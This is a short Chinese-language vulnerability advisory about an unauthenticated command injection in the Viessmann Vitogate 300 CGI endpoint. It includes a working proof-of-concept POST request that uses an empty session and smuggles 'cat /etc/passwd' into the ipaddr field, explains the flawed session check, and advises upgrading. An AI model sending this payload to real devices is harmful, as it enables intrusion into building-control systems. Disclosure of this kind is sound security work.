1.漏洞描述
Viessmann Vitogate是Viessmann公司的一个智能化控制系统。
Vitogate 300 2.1.3.0版本的/cgi-bin/vitogate.cgi存在一个未经身份验证的攻击者可利用的漏洞,通过put方法中的ipaddr params JSON数据中的shell元字符实现绕过身份验证并执行任意命令。
2.影响版本
Viessmann Vitogate_300_Firmware <= 2.1.3.0,Viessmann Vitogate_300
3.漏洞复现
Poc
POST /cgi-bin/vitogate.cgi HTTP/1.1Host: 127.0.0.1Content-Type: application/jsonContent-Length: 88{"method":"put","form":"form-4-8","session":"","params":{"ipaddr":"11;cat /etc/passwd"}}
4.简单分析
通过分析/ugw/httpd/html/cgi-bin/vitogate.cgi,它通过HTTPPOST接受JSON格式的数据。
然后isValidSession函数检查是否已登录
但是isValidSession函数只检查会话是否存在,不检查值内容
因此设置个空值即可
在这两个函数中ipaddr没有任何过滤操作,直接带入并执行popen命令
5.修复建议
目前官方已发布新版已经修复此漏洞,并且为受影响版本发布了补丁,建议用户尽快升级至最新版本。
官方下载地址:
https://connectivity.viessmann.com/